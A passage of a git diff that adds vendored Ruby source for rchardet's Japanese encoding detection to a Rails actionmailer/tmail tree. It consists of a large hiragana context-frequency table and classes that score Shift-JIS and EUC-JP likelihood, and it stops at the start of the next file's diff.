[0,4,0,5,0,5,0,4,0,4,5,4,4,3,5,3,5,1,5,3,4,3,4,4,3,4,3,3,4,3,5,4,4,3,5,5,3,5,5,5,3,5,5,3,4,5,5,3,1,3,2,0,3,4,0,4,2,0,4,2,1,5,3,2,3,5,0,4,0,2,0,5,4,4,5,4,5,0,4,0,0,4,4], + [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], + [0,3,0,4,0,3,0,3,0,4,5,4,3,3,3,3,4,3,5,4,4,3,5,4,4,3,4,3,4,4,4,4,5,3,4,4,3,4,5,5,4,5,5,1,4,5,4,3,0,3,3,1,3,3,0,4,4,0,3,3,1,5,3,3,3,5,0,4,0,3,0,4,4,3,4,3,3,0,4,1,1,3,4], + [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], + [0,4,0,3,0,3,0,4,0,3,4,4,3,2,2,1,2,1,3,1,3,3,3,3,3,4,3,1,3,3,5,3,3,0,4,3,0,5,4,3,3,5,4,4,3,4,4,5,0,1,2,0,1,2,0,2,2,0,1,0,0,5,2,2,1,4,0,3,0,1,0,4,4,3,5,4,3,0,2,1,0,4,3], + [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], + [0,3,0,5,0,4,0,2,1,4,4,2,4,1,4,2,4,2,4,3,3,3,4,3,3,3,3,1,4,2,3,3,3,1,4,4,1,1,1,4,3,3,2,0,2,4,3,2,0,3,3,0,3,1,1,0,0,0,3,3,0,4,2,2,3,4,0,4,0,3,0,4,4,5,3,4,4,0,3,0,0,1,4], + [1,4,0,4,0,4,0,4,0,3,5,4,4,3,4,3,5,4,3,3,4,3,5,4,4,4,4,3,4,2,4,3,3,1,5,4,3,2,4,5,4,5,5,4,4,5,4,4,0,3,2,2,3,3,0,4,3,1,3,2,1,4,3,3,4,5,0,3,0,2,0,4,5,5,4,5,4,0,4,0,0,5,4], + [0,5,0,5,0,4,0,3,0,4,4,3,4,3,3,3,4,0,4,4,4,3,4,3,4,3,3,1,4,2,4,3,4,0,5,4,1,4,5,4,4,5,3,2,4,3,4,3,2,4,1,3,3,3,2,3,2,0,4,3,3,4,3,3,3,4,0,4,0,3,0,4,5,4,4,4,3,0,4,1,0,1,3], + [0,3,1,4,0,3,0,2,0,3,4,4,3,1,4,2,3,3,4,3,4,3,4,3,4,4,3,2,3,1,5,4,4,1,4,4,3,5,4,4,3,5,5,4,3,4,4,3,1,2,3,1,2,2,0,3,2,0,3,1,0,5,3,3,3,4,3,3,3,3,4,4,4,4,5,4,2,0,3,3,2,4,3], + [0,2,0,3,0,1,0,1,0,0,3,2,0,0,2,0,1,0,2,1,3,3,3,1,2,3,1,0,1,0,4,2,1,1,3,3,0,4,3,3,1,4,3,3,0,3,3,2,0,0,0,0,1,0,0,2,0,0,0,0,0,4,1,0,2,3,2,2,2,1,3,3,3,4,4,3,2,0,3,1,0,3,3], + [0,4,0,4,0,3,0,3,0,4,4,4,3,3,3,3,3,3,4,3,4,2,4,3,4,3,3,2,4,3,4,5,4,1,4,5,3,5,4,5,3,5,4,0,3,5,5,3,1,3,3,2,2,3,0,3,4,1,3,3,2,4,3,3,3,4,0,4,0,3,0,4,5,4,4,5,3,0,4,1,0,3,4], + [0,2,0,3,0,3,0,0,0,2,2,2,1,0,1,0,0,0,3,0,3,0,3,0,1,3,1,0,3,1,3,3,3,1,3,3,3,0,1,3,1,3,4,0,0,3,1,1,0,3,2,0,0,0,0,1,3,0,1,0,0,3,3,2,0,3,0,0,0,0,0,3,4,3,4,3,3,0,3,0,0,2,3], + [2,3,0,3,0,2,0,1,0,3,3,4,3,1,3,1,1,1,3,1,4,3,4,3,3,3,0,0,3,1,5,4,3,1,4,3,2,5,5,4,4,4,4,3,3,4,4,4,0,2,1,1,3,2,0,1,2,0,0,1,0,4,1,3,3,3,0,3,0,1,0,4,4,4,5,5,3,0,2,0,0,4,4], + [0,2,0,1,0,3,1,3,0,2,3,3,3,0,3,1,0,0,3,0,3,2,3,1,3,2,1,1,0,0,4,2,1,0,2,3,1,4,3,2,0,4,4,3,1,3,1,3,0,1,0,0,1,0,0,0,1,0,0,0,0,4,1,1,1,2,0,3,0,0,0,3,4,2,4,3,2,0,1,0,0,3,3], + [0,1,0,4,0,5,0,4,0,2,4,4,2,3,3,2,3,3,5,3,3,3,4,3,4,2,3,0,4,3,3,3,4,1,4,3,2,1,5,5,3,4,5,1,3,5,4,2,0,3,3,0,1,3,0,4,2,0,1,3,1,4,3,3,3,3,0,3,0,1,0,3,4,4,4,5,5,0,3,0,1,4,5], + [0,2,0,3,0,3,0,0,0,2,3,1,3,0,4,0,1,1,3,0,3,4,3,2,3,1,0,3,3,2,3,1,3,0,2,3,0,2,1,4,1,2,2,0,0,3,3,0,0,2,0,0,0,1,0,0,0,0,2,2,0,3,2,1,3,3,0,2,0,2,0,0,3,3,1,2,4,0,3,0,2,2,3], + [2,4,0,5,0,4,0,4,0,2,4,4,4,3,4,3,3,3,1,2,4,3,4,3,4,4,5,0,3,3,3,3,2,0,4,3,1,4,3,4,1,4,4,3,3,4,4,3,1,2,3,0,4,2,0,4,1,0,3,3,0,4,3,3,3,4,0,4,0,2,0,3,5,3,4,5,2,0,3,0,0,4,5], + [0,3,0,4,0,1,0,1,0,1,3,2,2,1,3,0,3,0,2,0,2,0,3,0,2,0,0,0,1,0,1,1,0,0,3,1,0,0,0,4,0,3,1,0,2,1,3,0,0,0,0,0,0,3,0,0,0,0,0,0,0,4,2,2,3,1,0,3,0,0,0,1,4,4,4,3,0,0,4,0,0,1,4], + [1,4,1,5,0,3,0,3,0,4,5,4,4,3,5,3,3,4,4,3,4,1,3,3,3,3,2,1,4,1,5,4,3,1,4,4,3,5,4,4,3,5,4,3,3,4,4,4,0,3,3,1,2,3,0,3,1,0,3,3,0,5,4,4,4,4,4,4,3,3,5,4,4,3,3,5,4,0,3,2,0,4,4], + [0,2,0,3,0,1,0,0,0,1,3,3,3,2,4,1,3,0,3,1,3,0,2,2,1,1,0,0,2,0,4,3,1,0,4,3,0,4,4,4,1,4,3,1,1,3,3,1,0,2,0,0,1,3,0,0,0,0,2,0,0,4,3,2,4,3,5,4,3,3,3,4,3,3,4,3,3,0,2,1,0,3,3], + [0,2,0,4,0,3,0,2,0,2,5,5,3,4,4,4,4,1,4,3,3,0,4,3,4,3,1,3,3,2,4,3,0,3,4,3,0,3,4,4,2,4,4,0,4,5,3,3,2,2,1,1,1,2,0,1,5,0,3,3,2,4,3,3,3,4,0,3,0,2,0,4,4,3,5,5,0,0,3,0,2,3,3], + [0,3,0,4,0,3,0,1,0,3,4,3,3,1,3,3,3,0,3,1,3,0,4,3,3,1,1,0,3,0,3,3,0,0,4,4,0,1,5,4,3,3,5,0,3,3,4,3,0,2,0,1,1,1,0,1,3,0,1,2,1,3,3,2,3,3,0,3,0,1,0,1,3,3,4,4,1,0,1,2,2,1,3], + [0,1,0,4,0,4,0,3,0,1,3,3,3,2,3,1,1,0,3,0,3,3,4,3,2,4,2,0,1,0,4,3,2,0,4,3,0,5,3,3,2,4,4,4,3,3,3,4,0,1,3,0,0,1,0,0,1,0,0,0,0,4,2,3,3,3,0,3,0,0,0,4,4,4,5,3,2,0,3,3,0,3,5], + [0,2,0,3,0,0,0,3,0,1,3,0,2,0,0,0,1,0,3,1,1,3,3,0,0,3,0,0,3,0,2,3,1,0,3,1,0,3,3,2,0,4,2,2,0,2,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,2,1,2,0,1,0,1,0,0,0,1,3,1,2,0,0,0,1,0,0,1,4], + [0,3,0,3,0,5,0,1,0,2,4,3,1,3,3,2,1,1,5,2,1,0,5,1,2,0,0,0,3,3,2,2,3,2,4,3,0,0,3,3,1,3,3,0,2,5,3,4,0,3,3,0,1,2,0,2,2,0,3,2,0,2,2,3,3,3,0,2,0,1,0,3,4,4,2,5,4,0,3,0,0,3,5], + [0,3,0,3,0,3,0,1,0,3,3,3,3,0,3,0,2,0,2,1,1,0,2,0,1,0,0,0,2,1,0,0,1,0,3,2,0,0,3,3,1,2,3,1,0,3,3,0,0,1,0,0,0,0,0,2,0,0,0,0,0,2,3,1,2,3,0,3,0,1,0,3,2,1,0,4,3,0,1,1,0,3,3], + [0,4,0,5,0,3,0,3,0,4,5,5,4,3,5,3,4,3,5,3,3,2,5,3,4,4,4,3,4,3,4,5,5,3,4,4,3,4,4,5,4,4,4,3,4,5,5,4,2,3,4,2,3,4,0,3,3,1,4,3,2,4,3,3,5,5,0,3,0,3,0,5,5,5,5,4,4,0,4,0,1,4,4], + [0,4,0,4,0,3,0,3,0,3,5,4,4,2,3,2,5,1,3,2,5,1,4,2,3,2,3,3,4,3,3,3,3,2,5,4,1,3,3,5,3,4,4,0,4,4,3,1,1,3,1,0,2,3,0,2,3,0,3,0,0,4,3,1,3,4,0,3,0,2,0,4,4,4,3,4,5,0,4,0,0,3,4], + [0,3,0,3,0,3,1,2,0,3,4,4,3,3,3,0,2,2,4,3,3,1,3,3,3,1,1,0,3,1,4,3,2,3,4,4,2,4,4,4,3,4,4,3,2,4,4,3,1,3,3,1,3,3,0,4,1,0,2,2,1,4,3,2,3,3,5,4,3,3,5,4,4,3,3,0,4,0,3,2,2,4,4], + [0,2,0,1,0,0,0,0,0,1,2,1,3,0,0,0,0,0,2,0,1,2,1,0,0,1,0,0,0,0,3,0,0,1,0,1,1,3,1,0,0,0,1,1,0,1,1,0,0,0,0,0,2,0,0,0,0,0,0,0,0,1,1,2,2,0,3,4,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1], + [0,1,0,0,0,1,0,0,0,0,4,0,4,1,4,0,3,0,4,0,3,0,4,0,3,0,3,0,4,1,5,1,4,0,0,3,0,5,0,5,2,0,1,0,0,0,2,1,4,0,1,3,0,0,3,0,0,3,1,1,4,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0], + [1,4,0,5,0,3,0,2,0,3,5,4,4,3,4,3,5,3,4,3,3,0,4,3,3,3,3,3,3,2,4,4,3,1,3,4,4,5,4,4,3,4,4,1,3,5,4,3,3,3,1,2,2,3,3,1,3,1,3,3,3,5,3,3,4,5,0,3,0,3,0,3,4,3,4,4,3,0,3,0,2,4,3], + [0,1,0,4,0,0,0,0,0,1,4,0,4,1,4,2,4,0,3,0,1,0,1,0,0,0,0,0,2,0,3,1,1,1,0,3,0,0,0,1,2,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,3,0,0,0,0,3,2,0,2,2,0,1,0,0,0,2,3,2,3,3,0,0,0,0,2,1,0], + [0,5,1,5,0,3,0,3,0,5,4,4,5,1,5,3,3,0,4,3,4,3,5,3,4,3,3,2,4,3,4,3,3,0,3,3,1,4,4,3,4,4,4,3,4,5,5,3,2,3,1,1,3,3,1,3,1,1,3,3,2,4,5,3,3,5,0,4,0,3,0,4,4,3,5,3,3,0,3,4,0,4,3], + [0,5,0,5,0,3,0,2,0,4,4,3,5,2,4,3,3,3,4,4,4,3,5,3,5,3,3,1,4,0,4,3,3,0,3,3,0,4,4,4,4,5,4,3,3,5,5,3,2,3,1,2,3,2,0,1,0,0,3,2,2,4,4,3,1,5,0,4,0,3,0,4,3,1,3,2,1,0,3,3,0,3,3], + [0,4,0,5,0,5,0,4,0,4,5,5,5,3,4,3,3,2,5,4,4,3,5,3,5,3,4,0,4,3,4,4,3,2,4,4,3,4,5,4,4,5,5,0,3,5,5,4,1,3,3,2,3,3,1,3,1,0,4,3,1,4,4,3,4,5,0,4,0,2,0,4,3,4,4,3,3,0,4,0,0,5,5], + [0,4,0,4,0,5,0,1,1,3,3,4,4,3,4,1,3,0,5,1,3,0,3,1,3,1,1,0,3,0,3,3,4,0,4,3,0,4,4,4,3,4,4,0,3,5,4,1,0,3,0,0,2,3,0,3,1,0,3,1,0,3,2,1,3,5,0,3,0,1,0,3,2,3,3,4,4,0,2,2,0,4,4], + [2,4,0,5,0,4,0,3,0,4,5,5,4,3,5,3,5,3,5,3,5,2,5,3,4,3,3,4,3,4,5,3,2,1,5,4,3,2,3,4,5,3,4,1,2,5,4,3,0,3,3,0,3,2,0,2,3,0,4,1,0,3,4,3,3,5,0,3,0,1,0,4,5,5,5,4,3,0,4,2,0,3,5], + [0,5,0,4,0,4,0,2,0,5,4,3,4,3,4,3,3,3,4,3,4,2,5,3,5,3,4,1,4,3,4,4,4,0,3,5,0,4,4,4,4,5,3,1,3,4,5,3,3,3,3,3,3,3,0,2,2,0,3,3,2,4,3,3,3,5,3,4,1,3,3,5,3,2,0,0,0,0,4,3,1,3,3], + [0,1,0,3,0,3,0,1,0,1,3,3,3,2,3,3,3,0,3,0,0,0,3,1,3,0,0,0,2,2,2,3,0,0,3,2,0,1,2,4,1,3,3,0,0,3,3,3,0,1,0,0,2,1,0,0,3,0,3,1,0,3,0,0,1,3,0,2,0,1,0,3,3,1,3,3,0,0,1,1,0,3,3], + [0,2,0,3,0,2,1,4,0,2,2,3,1,1,3,1,1,0,2,0,3,1,2,3,1,3,0,0,1,0,4,3,2,3,3,3,1,4,2,3,3,3,3,1,0,3,1,4,0,1,1,0,1,2,0,1,1,0,1,1,0,3,1,3,2,2,0,1,0,0,0,2,3,3,3,1,0,0,0,0,0,2,3], + [0,5,0,4,0,5,0,2,0,4,5,5,3,3,4,3,3,1,5,4,4,2,4,4,4,3,4,2,4,3,5,5,4,3,3,4,3,3,5,5,4,5,5,1,3,4,5,3,1,4,3,1,3,3,0,3,3,1,4,3,1,4,5,3,3,5,0,4,0,3,0,5,3,3,1,4,3,0,4,0,1,5,3], + [0,5,0,5,0,4,0,2,0,4,4,3,4,3,3,3,3,3,5,4,4,4,4,4,4,5,3,3,5,2,4,4,4,3,4,4,3,3,4,4,5,5,3,3,4,3,4,3,3,4,3,3,3,3,1,2,2,1,4,3,3,5,4,4,3,4,0,4,0,3,0,4,4,4,4,4,1,0,4,2,0,2,4], + [0,4,0,4,0,3,0,1,0,3,5,2,3,0,3,0,2,1,4,2,3,3,4,1,4,3,3,2,4,1,3,3,3,0,3,3,0,0,3,3,3,5,3,3,3,3,3,2,0,2,0,0,2,0,0,2,0,0,1,0,0,3,1,2,2,3,0,3,0,2,0,4,4,3,3,4,1,0,3,0,0,2,4], + [0,0,0,4,0,0,0,0,0,0,1,0,1,0,2,0,0,0,0,0,1,0,2,0,1,0,0,0,0,0,3,1,3,0,3,2,0,0,0,1,0,3,2,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,4,0,2,0,0,0,0,0,0,2], + [0,2,1,3,0,2,0,2,0,3,3,3,3,1,3,1,3,3,3,3,3,3,4,2,2,1,2,1,4,0,4,3,1,3,3,3,2,4,3,5,4,3,3,3,3,3,3,3,0,1,3,0,2,0,0,1,0,0,1,0,0,4,2,0,2,3,0,3,3,0,3,3,4,2,3,1,4,0,1,2,0,2,3], + [0,3,0,3,0,1,0,3,0,2,3,3,3,0,3,1,2,0,3,3,2,3,3,2,3,2,3,1,3,0,4,3,2,0,3,3,1,4,3,3,2,3,4,3,1,3,3,1,1,0,1,1,0,1,0,1,0,1,0,0,0,4,1,1,0,3,0,3,1,0,2,3,3,3,3,3,1,0,0,2,0,3,3], + [0,0,0,0,0,0,0,0,0,0,3,0,2,0,3,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,3,0,3,0,3,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,2,0,2,3,0,0,0,0,0,0,0,0,3], + [0,2,0,3,1,3,0,3,0,2,3,3,3,1,3,1,3,1,3,1,3,3,3,1,3,0,2,3,1,1,4,3,3,2,3,3,1,2,2,4,1,3,3,0,1,4,2,3,0,1,3,0,3,0,0,1,3,0,2,0,0,3,3,2,1,3,0,3,0,2,0,3,4,4,4,3,1,0,3,0,0,3,3], + [0,2,0,1,0,2,0,0,0,1,3,2,2,1,3,0,1,1,3,0,3,2,3,1,2,0,2,0,1,1,3,3,3,0,3,3,1,1,2,3,2,3,3,1,2,3,2,0,0,1,0,0,0,0,0,0,3,0,1,0,0,2,1,2,1,3,0,3,0,0,0,3,4,4,4,3,2,0,2,0,0,2,4], + [0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,2,2,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,3,1,0,0,0,0,0,0,0,3], + [0,3,0,3,0,2,0,3,0,3,3,3,2,3,2,2,2,0,3,1,3,3,3,2,3,3,0,0,3,0,3,2,2,0,2,3,1,4,3,4,3,3,2,3,1,5,4,4,0,3,1,2,1,3,0,3,1,1,2,0,2,3,1,3,1,3,0,3,0,1,0,3,3,4,4,2,1,0,2,1,0,2,4], + [0,1,0,3,0,1,0,2,0,1,4,2,5,1,4,0,2,0,2,1,3,1,4,0,2,1,0,0,2,1,4,1,1,0,3,3,0,5,1,3,2,3,3,1,0,3,2,3,0,1,0,0,0,0,0,0,1,0,0,0,0,4,0,1,0,3,0,2,0,1,0,3,3,3,4,3,3,0,0,0,0,2,3], + [0,0,0,1,0,0,0,0,0,0,2,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,1,0,0,1,0,0,0,0,0,3], + [0,1,0,3,0,4,0,3,0,2,4,3,1,0,3,2,2,1,3,1,2,2,3,1,1,1,2,1,3,0,1,2,0,1,3,2,1,3,0,5,5,1,0,0,1,3,2,1,0,3,0,0,1,0,0,0,0,0,3,4,0,1,1,1,3,2,0,2,0,1,0,2,3,3,1,2,3,0,1,0,1,0,4], + [0,0,0,1,0,3,0,3,0,2,2,1,0,0,4,0,3,0,3,1,3,0,3,0,3,0,1,0,3,0,3,1,3,0,3,3,0,0,1,2,1,1,1,0,1,2,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,2,2,1,2,0,0,2,0,0,0,0,2,3,3,3,3,0,0,0,0,1,4], + [0,0,0,3,0,3,0,0,0,0,3,1,1,0,3,0,1,0,2,0,1,0,0,0,0,0,0,0,1,0,3,0,2,0,2,3,0,0,2,2,3,1,2,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,2,0,0,0,0,2,3], + [2,4,0,5,0,5,0,4,0,3,4,3,3,3,4,3,3,3,4,3,4,4,5,4,5,5,5,2,3,0,5,5,4,1,5,4,3,1,5,4,3,4,4,3,3,4,3,3,0,3,2,0,2,3,0,3,0,0,3,3,0,5,3,2,3,3,0,3,0,3,0,3,4,5,4,5,3,0,4,3,0,3,4], + [0,3,0,3,0,3,0,3,0,3,3,4,3,2,3,2,3,0,4,3,3,3,3,3,3,3,3,0,3,2,4,3,3,1,3,4,3,4,4,4,3,4,4,3,2,4,4,1,0,2,0,0,1,1,0,2,0,0,3,1,0,5,3,2,1,3,0,3,0,1,2,4,3,2,4,3,3,0,3,2,0,4,4], + [0,3,0,3,0,1,0,0,0,1,4,3,3,2,3,1,3,1,4,2,3,2,4,2,3,4,3,0,2,2,3,3,3,0,3,3,3,0,3,4,1,3,3,0,3,4,3,3,0,1,1,0,1,0,0,0,4,0,3,0,0,3,1,2,1,3,0,4,0,1,0,4,3,3,4,3,3,0,2,0,0,3,3], + [0,3,0,4,0,1,0,3,0,3,4,3,3,0,3,3,3,1,3,1,3,3,4,3,3,3,0,0,3,1,5,3,3,1,3,3,2,5,4,3,3,4,5,3,2,5,3,4,0,1,0,0,0,0,0,2,0,0,1,1,0,4,2,2,1,3,0,3,0,2,0,4,4,3,5,3,2,0,1,1,0,3,4], + [0,5,0,4,0,5,0,2,0,4,4,3,3,2,3,3,3,1,4,3,4,1,5,3,4,3,4,0,4,2,4,3,4,1,5,4,0,4,4,4,4,5,4,1,3,5,4,2,1,4,1,1,3,2,0,3,1,0,3,2,1,4,3,3,3,4,0,4,0,3,0,4,4,4,3,3,3,0,4,2,0,3,4], + [1,4,0,4,0,3,0,1,0,3,3,3,1,1,3,3,2,2,3,3,1,0,3,2,2,1,2,0,3,1,2,1,2,0,3,2,0,2,2,3,3,4,3,0,3,3,1,2,0,1,1,3,1,2,0,0,3,0,1,1,0,3,2,2,3,3,0,3,0,0,0,2,3,3,4,3,3,0,1,0,0,1,4], + [0,4,0,4,0,4,0,0,0,3,4,4,3,1,4,2,3,2,3,3,3,1,4,3,4,0,3,0,4,2,3,3,2,2,5,4,2,1,3,4,3,4,3,1,3,3,4,2,0,2,1,0,3,3,0,0,2,0,3,1,0,4,4,3,4,3,0,4,0,1,0,2,4,4,4,4,4,0,3,2,0,3,3], + [0,0,0,1,0,4,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,3,2,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,2], + [0,2,0,3,0,4,0,4,0,1,3,3,3,0,4,0,2,1,2,1,1,1,2,0,3,1,1,0,1,0,3,1,0,0,3,3,2,0,1,1,0,0,0,0,0,1,0,2,0,2,2,0,3,1,0,0,1,0,1,1,0,1,2,0,3,0,0,0,0,1,0,0,3,3,4,3,1,0,1,0,3,0,2], + [0,0,0,3,0,5,0,0,0,0,1,0,2,0,3,1,0,1,3,0,0,0,2,0,0,0,1,0,0,0,1,1,0,0,4,0,0,0,2,3,0,1,4,1,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,1,0,0,0,0,0,0,0,2,0,0,3,0,0,0,0,0,3], + [0,2,0,5,0,5,0,1,0,2,4,3,3,2,5,1,3,2,3,3,3,0,4,1,2,0,3,0,4,0,2,2,1,1,5,3,0,0,1,4,2,3,2,0,3,3,3,2,0,2,4,1,1,2,0,1,1,0,3,1,0,1,3,1,2,3,0,2,0,0,0,1,3,5,4,4,4,0,3,0,0,1,3], + [0,4,0,5,0,4,0,4,0,4,5,4,3,3,4,3,3,3,4,3,4,4,5,3,4,5,4,2,4,2,3,4,3,1,4,4,1,3,5,4,4,5,5,4,4,5,5,5,2,3,3,1,4,3,1,3,3,0,3,3,1,4,3,4,4,4,0,3,0,4,0,3,3,4,4,5,0,0,4,3,0,4,5], + [0,4,0,4,0,3,0,3,0,3,4,4,4,3,3,2,4,3,4,3,4,3,5,3,4,3,2,1,4,2,4,4,3,1,3,4,2,4,5,5,3,4,5,4,1,5,4,3,0,3,2,2,3,2,1,3,1,0,3,3,3,5,3,3,3,5,4,4,2,3,3,4,3,3,3,2,1,0,3,2,1,4,3], + [0,4,0,5,0,4,0,3,0,3,5,5,3,2,4,3,4,0,5,4,4,1,4,4,4,3,3,3,4,3,5,5,2,3,3,4,1,2,5,5,3,5,5,2,3,5,5,4,0,3,2,0,3,3,1,1,5,1,4,1,0,4,3,2,3,5,0,4,0,3,0,5,4,3,4,3,0,0,4,1,0,4,4], + [1,3,0,4,0,2,0,2,0,2,5,5,3,3,3,3,3,0,4,2,3,4,4,4,3,4,0,0,3,4,5,4,3,3,3,3,2,5,5,4,5,5,5,4,3,5,5,5,1,3,1,0,1,0,0,3,2,0,4,2,0,5,2,3,2,4,1,3,0,3,0,4,5,4,5,4,3,0,4,2,0,5,4], + [0,3,0,4,0,5,0,3,0,3,4,4,3,2,3,2,3,3,3,3,3,2,4,3,3,2,2,0,3,3,3,3,3,1,3,3,3,0,4,4,3,4,4,1,1,4,4,2,0,3,1,0,1,1,0,4,1,0,2,3,1,3,3,1,3,4,0,3,0,1,0,3,1,3,0,0,1,0,2,0,0,4,4], + [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0], + [0,3,0,3,0,2,0,3,0,1,5,4,3,3,3,1,4,2,1,2,3,4,4,2,4,4,5,0,3,1,4,3,4,0,4,3,3,3,2,3,2,5,3,4,3,2,2,3,0,0,3,0,2,1,0,1,2,0,0,0,0,2,1,1,3,1,0,2,0,4,0,3,4,4,4,5,2,0,2,0,0,1,3], + [0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,4,2,1,1,0,1,0,3,2,0,0,3,1,1,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,1,0,0,0,2,0,0,0,1,4,0,4,2,1,0,0,0,0,0,1], + [0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,3,1,0,0,0,2,0,2,1,0,0,1,2,1,0,1,1,0,0,3,0,0,0,0,0,0,0,0,0,0,0,1,3,1,0,0,0,0,0,1,0,0,2,1,0,0,0,0,0,0,0,0,2], + [0,4,0,4,0,4,0,3,0,4,4,3,4,2,4,3,2,0,4,4,4,3,5,3,5,3,3,2,4,2,4,3,4,3,1,4,0,2,3,4,4,4,3,3,3,4,4,4,3,4,1,3,4,3,2,1,2,1,3,3,3,4,4,3,3,5,0,4,0,3,0,4,3,3,3,2,1,0,3,0,0,3,3], + [0,4,0,3,0,3,0,3,0,3,5,5,3,3,3,3,4,3,4,3,3,3,4,4,4,3,3,3,3,4,3,5,3,3,1,3,2,4,5,5,5,5,4,3,4,5,5,3,2,2,3,3,3,3,2,3,3,1,2,3,2,4,3,3,3,4,0,4,0,2,0,4,3,2,2,1,2,0,3,0,0,4,1], + ] + + class JapaneseContextAnalysis + def initialize + reset() + end + + def reset + @_mTotalRel = 0 # total sequence received + @_mRelSample = [0] * NUM_OF_CATEGORY # category counters, each interger counts sequence in its category + @_mNeedToSkipCharNum = 0 # if last byte in current buffer is not the last byte of a character, we need to know how many bytes to skip in next buffer + @_mLastCharOrder = -1 # The order of previous char + @_mDone = false # If this flag is set to constants.True, detection is done and conclusion has been made + end + + def feed(aBuf, aLen) + return if @_mDone + + # The buffer we got is byte oriented, and a character may span in more than one + # buffers. In case the last one or two byte in last buffer is not complete, we + # record how many byte needed to complete that character and skip these bytes here. + # We can choose to record those bytes as well and analyse the character once it + # is complete, but since a character will not make much difference, by simply skipping + # this character will simply our logic and improve performance. + i = @_mNeedToSkipCharNum + while i < aLen + order, charLen = get_order(aBuf[i...i+2]) + i += charLen + if i > aLen + @_mNeedToSkipCharNum = i - aLen + @_mLastCharOrder = -1 + else + if (order != -1) and (@_mLastCharOrder != -1) + @_mTotalRel += 1 + if @_mTotalRel > MAX_REL_THRESHOLD + @_mDone = true + break + end + @_mRelSample[jp2CharContext[@_mLastCharOrder][order]] += 1 + end + @_mLastCharOrder = order + end + end + end + + def got_enough_data + return @_mTotalRel > ENOUGH_REL_THRESHOLD + end + + def get_confidence + # This is just one way to calculate confidence. It works well for me. + if @_mTotalRel > MINIMUM_DATA_THRESHOLD + return (@_mTotalRel - @_mRelSample[0]) / @_mTotalRel + else + return DONT_KNOW + end + end + + def get_order(aStr) + return -1, 1 + end + end + + + class SJISContextAnalysis < JapaneseContextAnalysis + def get_order(aStr) + return -1, 1 if not aStr + # find out current char's byte length + aStr = aStr[0..1].join if aStr.class == Array + if ((aStr[0..0] >= "\x81") and (aStr[0..0] <= "\x9F")) or ((aStr[0..0] >= "\xE0") and (aStr[0..0] <= "\xFC")) + charLen = 2 + else + charLen = 1 + end + # return its order if it is hiragana + if aStr.length > 1 + if (aStr[0..0] == "\202") and (aStr[1..1] >= "\x9F") and (aStr[1..1] <= "\xF1") + return aStr[1] - 0x9F, charLen + end + end + + return -1, charLen + end + end + + class EUCJPContextAnalysis < JapaneseContextAnalysis + def get_order(aStr) + return -1, 1 unless aStr + # find out current char's byte length + aStr = aStr[0..1].join if aStr.class == Array + if (aStr[0..0] == "\x8E") or ((aStr[0..0] >= "\xA1") and (aStr[0..0] <= "\xFE")) + charLen = 2 + elsif aStr[0..0] == "\x8F" + charLen = 3 + else + charLen = 1 + end + + # return its order if it is hiragana + if aStr.length > 1 + if (aStr[0..0] == "\xA4") and (aStr[1..1] >= "\xA1") and (aStr[1..1] <= "\xF3") + return aStr[1] - 0xA1, charLen + end + end + + return -1, charLen + end + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langbulgarianmodel.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langbulgarianmodel.rb new file mode 100755 index 00000000..eb980388 --- /dev/null +++ 